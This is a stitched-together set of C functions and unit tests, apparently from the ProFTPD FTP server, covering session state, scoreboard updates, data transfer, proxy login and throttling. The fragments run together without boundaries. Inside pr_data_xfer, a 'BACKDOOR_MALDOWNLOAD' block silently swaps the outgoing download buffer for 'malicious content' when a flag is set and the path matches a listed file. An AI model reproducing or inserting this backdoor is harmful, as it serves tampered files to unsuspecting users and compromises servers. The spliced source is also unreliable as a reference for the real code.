int pr_session_set_protocol(const char *sess_proto) { int count, res; if (sess_proto == NULL) { errno = EINVAL; return -1; } count = pr_table_exists(session.notes, "protocol"); if (count > 0) { res = pr_table_set(session.notes, pstrdup(session.pool, "protocol"), pstrdup(session.pool, sess_proto), 0); if (res == 0) { /* Update the scoreboard entry for this session with the protocol. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_PROTOCOL, sess_proto, NULL); } return res; } res = pr_table_add(session.notes, pstrdup(session.pool, "protocol"), pstrdup(session.pool, sess_proto), 0); if (res == 0) { /* Update the scoreboard entry for this session with the protocol. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_PROTOCOL, sess_proto, NULL); } return res; }
int pr_session_set_idle(void) { char *user = NULL; pr_scoreboard_entry_update(session.pid, PR_SCORE_BEGIN_IDLE, time(NULL), PR_SCORE_CMD, "%s", "idle", NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", "", NULL, NULL); if (session.user) { user = session.user; } else { user = "******"; } pr_proctitle_set("%s - %s: IDLE", user, session.proc_prefix); return 0; }
END_TEST START_TEST (scoreboard_disabled_test) { register unsigned int i = 0; const char *paths[4] = { "/dev/null", "none", "off", NULL }; const char *path; for (path = paths[i]; path != NULL; path = paths[i++]) { int res; const char *field, *ok; pid_t scoreboard_pid; time_t scoreboard_uptime; pr_scoreboard_entry_t *score; res = pr_set_scoreboard(path); fail_unless(res == 0, "Failed set to scoreboard to '%s': %s", path, strerror(errno)); ok = PR_RUN_DIR "/proftpd.scoreboard"; path = pr_get_scoreboard(); fail_unless(path != NULL, "Failed to get scoreboard path: %s", strerror(errno)); fail_unless(strcmp(path, ok) == 0, "Expected path '%s', got '%s'", ok, path); res = pr_open_scoreboard(O_RDONLY); fail_unless(res == 0, "Failed to open '%s' scoreboard: %s", path, strerror(errno)); res = pr_scoreboard_scrub(); fail_unless(res == 0, "Failed to scrub '%s' scoreboard: %s", path, strerror(errno)); scoreboard_pid = pr_scoreboard_get_daemon_pid(); fail_unless(scoreboard_pid == 0, "Expected to get scoreboard PID 0, got %lu", (unsigned long) scoreboard_pid); scoreboard_uptime = pr_scoreboard_get_daemon_uptime(); fail_unless(scoreboard_uptime == 0, "Expected to get scoreboard uptime 0, got %lu", (unsigned long) scoreboard_uptime); res = pr_scoreboard_entry_add(); fail_unless(res == 0, "Failed to add entry to '%s' scoreboard: %s", path, strerror(errno)); score = pr_scoreboard_entry_read(); fail_unless(score == NULL, "Expected null entry"); field = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); fail_unless(field == NULL, "Expected null CMD_ARG field"); res = pr_scoreboard_entry_update(getpid(), PR_SCORE_CWD, "foo", NULL); fail_unless(res == 0, "Failed to update CWD field: %s", strerror(errno)); res = pr_scoreboard_entry_del(FALSE); fail_unless(res == 0, "Failed to delete entry from '%s' scoreboard: %s", path, strerror(errno)); res = pr_close_scoreboard(FALSE); fail_unless(res == 0, "Failed to close '%s' scoreboard: %s", path, strerror(errno)); /* Internal hack: even calling pr_set_scoreboard() with a NULL * argument will set the Scoreboard API internal flag back to true. */ pr_set_scoreboard(NULL); } }
END_TEST START_TEST (scoreboard_entry_update_test) { int res; const char *val; const char *dir = "/tmp/prt-scoreboard/", *path = "/tmp/prt-scoreboard/test", *mutex_path = "/tmp/prt-scoreboard/test.lck"; pid_t pid = getpid(); res = mkdir(dir, 0775); fail_unless(res == 0, "Failed to create directory '%s': %s", dir, strerror(errno)); res = chmod(dir, 0775); if (res < 0) { int xerrno = errno; (void) rmdir(dir); fail("Failed to set perms on '%s' to 0775': %s", dir, strerror(xerrno)); } res = pr_set_scoreboard(path); if (res < 0) { int xerrno = errno; (void) rmdir(dir); fail("Failed to set scoreboard to '%s': %s", path, strerror(xerrno)); } (void) unlink(path); (void) unlink(mutex_path); res = pr_scoreboard_entry_update(pid, 0); if (res == 0) { (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Unexpectedly updated scoreboard entry"); } if (errno != EINVAL) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to set errno to EINVAL (got %d)", xerrno); } res = pr_open_scoreboard(O_RDWR); if (res < 0) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to open scoreboard: %s", strerror(xerrno)); } res = pr_scoreboard_entry_update(pid, 0); if (res == 0) { (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Unexpectedly updated scoreboard entry"); } if (errno != EPERM) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to set errno to EPERM (got %d)", xerrno); } res = pr_scoreboard_entry_add(); if (res < 0) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to add entry to scoreboard: %s", strerror(xerrno)); } res = pr_scoreboard_entry_update(pid, -1); if (res == 0) { (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Unexpectedly updated scoreboard entry"); } if (errno != ENOENT) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to set errno to ENOENT (got %d)", xerrno); } val = "cwd"; res = pr_scoreboard_entry_update(pid, PR_SCORE_CWD, val, NULL); if (res < 0) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to update PR_SCORE_CWD: %s", strerror(xerrno)); } val = pr_scoreboard_entry_get(PR_SCORE_CWD); if (val == NULL) { int xerrno = errno; (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Failed to get entry PR_SCORE_CWD: %s", strerror(xerrno)); } if (strcmp(val, "cwd") != 0) { (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); fail("Expected '%s', got '%s'", "cwd", val); } (void) unlink(path); (void) unlink(mutex_path); (void) rmdir(dir); }
int pr_data_xfer(char *cl_buf, int cl_size) { int len = 0; int total = 0; int res = 0; /* Poll the control channel for any commands we should handle, like * QUIT or ABOR. */ pr_trace_msg(trace_channel, 4, "polling for commands on control channel"); pr_netio_set_poll_interval(session.c->instrm, 0); res = pr_netio_poll(session.c->instrm); pr_netio_reset_poll_interval(session.c->instrm); if (res == 0 && !(session.sf_flags & SF_ABORT)) { cmd_rec *cmd = NULL; pr_trace_msg(trace_channel, 1, "data available for reading on control channel during data transfer, " "reading control data"); res = pr_cmd_read(&cmd); if (res < 0) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "unable to read control command during data transfer: %s", strerror(xerrno)); errno = xerrno; #ifndef PR_DEVEL_NO_DAEMON /* Otherwise, EOF */ pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL); #else return -1; #endif /* PR_DEVEL_NO_DAEMON */ } else if (cmd != NULL) { char *ch; for (ch = cmd->argv[0]; *ch; ch++) *ch = toupper(*ch); cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]); /* Only handle commands which do not involve data transfers; we * already have a data transfer in progress. For any data transfer * command, send a 450 ("busy") reply. Looks like almost all of the * data transfer commands accept that response, as per RFC959. * * We also prevent the EPRT, EPSV, PASV, and PORT commands, since * they will also interfere with the current data transfer. In doing * so, we break RFC compliance a little; RFC959 does not allow a * response code of 450 for those commands (although it should). */ if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 || pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, denying", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add_err(R_450, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_err_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); /* We don't want to actually dispatch the NOOP command, since that * would overwrite the scoreboard with the NOOP state; admins probably * want to see the command that caused the data transfer. And since * NOOP doesn't take a 450 response (as per RFC959), we will simply * return 200. */ } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) { pool *resp_pool; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, ignoring", cmd->argv[0]); resp_list = resp_err_list = NULL; resp_pool = pr_response_get_pool(); pr_response_set_pool(cmd->pool); pr_response_add(R_200, _("%s: data transfer in progress"), cmd->argv[0]); pr_response_flush(&resp_list); destroy_pool(cmd->pool); pr_response_set_pool(resp_pool); } else { char *title_buf = NULL; int title_len = -1; const char *sce_cmd = NULL, *sce_cmd_arg = NULL; pr_trace_msg(trace_channel, 5, "client sent '%s' command during data transfer, dispatching", cmd->argv[0]); title_len = pr_proctitle_get(NULL, 0); if (title_len > 0) { title_buf = pcalloc(cmd->pool, title_len + 1); pr_proctitle_get(title_buf, title_len + 1); } sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD); sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG); pr_cmd_dispatch(cmd); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL); pr_scoreboard_entry_update(session.pid, PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
int proxy_session_setup_env(pool *p, const char *user, int flags) { struct passwd *pw; config_rec *c; int i, res = 0, xerrno = 0; const char *xferlog = NULL; session.hide_password = TRUE; /* Note: the given user name may not be known locally on the proxy; thus * having pr_auth_getpwnam() returning NULL here is not an unexpected * use case. */ pw = pr_auth_getpwnam(p, user); if (pw != NULL) { if (pw->pw_uid == PR_ROOT_UID) { int root_login = FALSE; pr_event_generate("mod_auth.root-login", NULL); c = find_config(main_server->conf, CONF_PARAM, "RootLogin", FALSE); if (c != NULL) { root_login = *((int *) c->argv[0]); } if (root_login == FALSE) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "root login attempted, denied by RootLogin configuration"); pr_log_auth(PR_LOG_NOTICE, "SECURITY VIOLATION: Root login attempted."); return -1; } pr_log_auth(PR_LOG_WARNING, "ROOT proxy login successful"); } res = pr_auth_is_valid_shell(main_server->conf, pw->pw_shell); if (res == FALSE) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "authentication for user '%s' failed: Invalid shell", user); pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): Invalid shell: '%s'", user, pw->pw_shell); errno = EPERM; return -1; } res = pr_auth_banned_by_ftpusers(main_server->conf, pw->pw_name); if (res == TRUE) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "authentication for user '%s' failed: User in " PR_FTPUSERS_PATH, user); pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): User in " PR_FTPUSERS_PATH, pw->pw_name); errno = EPERM; return -1; } session.user = pstrdup(p, pw->pw_name); session.group = pstrdup(p, pr_auth_gid2name(p, pw->pw_gid)); session.login_uid = pw->pw_uid; session.login_gid = pw->pw_gid; } else { session.user = pstrdup(session.pool, user); /* XXX What should session.group, session.login_uid, session.login_gid * be? Kept as is? */ } if (session.gids == NULL && session.groups == NULL) { res = pr_auth_getgroups(p, session.user, &session.gids, &session.groups); if (res < 1 && errno != ENOENT) { (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "no supplemental groups found for user '%s'", session.user); } } if (flags & PROXY_SESSION_FL_CHECK_LOGIN_ACL) { int login_acl; login_acl = login_check_limits(main_server->conf, FALSE, TRUE, &i); if (!login_acl) { pr_log_auth(PR_LOG_NOTICE, "USER %s (Login failed): Limit configuration " "denies login", user); return -1; } } /* XXX Will users want wtmp logging for a proxy login? */ session.wtmp_log = FALSE; c = find_config(main_server->conf, CONF_PARAM, "TransferLog", FALSE); if (c == NULL) { xferlog = PR_XFERLOG_PATH; } else { xferlog = c->argv[0]; } PRIVS_ROOT if (strncasecmp(xferlog, "none", 5) == 0) { xferlog_open(NULL); } else { xferlog_open(xferlog); } res = xerrno = 0; if (pw != NULL) { res = set_groups(p, pw->pw_gid, session.gids); xerrno = errno; } PRIVS_RELINQUISH if (res < 0) { pr_log_pri(PR_LOG_WARNING, "unable to set process groups: %s", strerror(xerrno)); } session.disable_id_switching = TRUE; session.proc_prefix = pstrdup(session.pool, session.c->remote_name); session.sf_flags = 0; pr_scoreboard_entry_update(session.pid, PR_SCORE_USER, session.user, PR_SCORE_CWD, pr_fs_getcwd(), NULL); if (session.group != NULL) { session.group = pstrdup(session.pool, session.group); } if (session.groups != NULL) { session.groups = copy_array_str(session.pool, session.groups); } proxy_sess_state |= PROXY_SESS_STATE_PROXY_AUTHENTICATED; pr_timer_remove(PR_TIMER_LOGIN, ANY_MODULE); return 0; }
void pr_throttle_pause(off_t xferlen, int xfer_ending) { long ideal = 0, elapsed = 0; off_t orig_xferlen = xferlen; if (XFER_ABORTED) { return; } /* Calculate the time interval since the transfer of data started. */ elapsed = xfer_rate_since(&session.xfer.start_time); /* Perform no throttling if no throttling has been configured. */ if (!have_xfer_rate) { xfer_rate_scoreboard_updates++; if (xfer_ending || xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) { /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); xfer_rate_scoreboard_updates = 0; } return; } /* Give credit for any configured freebytes. */ if (xferlen > 0 && xfer_rate_freebytes > 0) { if (xferlen > xfer_rate_freebytes) { /* Decrement the number of bytes transferred by the freebytes, so that * any throttling does not take into account the freebytes. */ xferlen -= xfer_rate_freebytes; } else { xfer_rate_scoreboard_updates++; /* The number of bytes transferred is less than the freebytes. Just * update the scoreboard -- no throttling needed. */ if (xfer_ending || xfer_rate_scoreboard_updates % PR_TUNABLE_XFER_SCOREBOARD_UPDATES == 0) { pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); xfer_rate_scoreboard_updates = 0; } return; } } ideal = xferlen * 1000L / xfer_rate_bps; if (ideal > elapsed) { struct timeval tv; /* Setup for the select. We use select() instead of usleep() because it * seems to be far more portable across platforms. * * ideal and elapsed are in milleconds, but tv_usec will be microseconds, * so be sure to convert properly. */ tv.tv_usec = (ideal - elapsed) * 1000; tv.tv_sec = tv.tv_usec / 1000000L; tv.tv_usec = tv.tv_usec % 1000000L; pr_log_debug(DEBUG7, "transferring too fast, delaying %ld sec%s, %ld usecs", (long int) tv.tv_sec, tv.tv_sec == 1 ? "" : "s", (long int) tv.tv_usec); /* No interruptions, please... */ xfer_rate_sigmask(TRUE); if (select(0, NULL, NULL, NULL, &tv) < 0) { int xerrno = errno; if (XFER_ABORTED) { pr_log_pri(PR_LOG_NOTICE, "throttling interrupted, transfer aborted"); xfer_rate_sigmask(FALSE); return; } /* At this point, we've probably been interrupted by one of the few * signals not masked off, e.g. SIGTERM. */ pr_log_debug(DEBUG0, "unable to throttle bandwidth: %s", strerror(xerrno)); } xfer_rate_sigmask(FALSE); pr_signals_handle(); /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) ideal, NULL); } else { /* Update the scoreboard. */ pr_scoreboard_entry_update(session.pid, PR_SCORE_XFER_LEN, orig_xferlen, PR_SCORE_XFER_ELAPSED, (unsigned long) elapsed, NULL); } return; }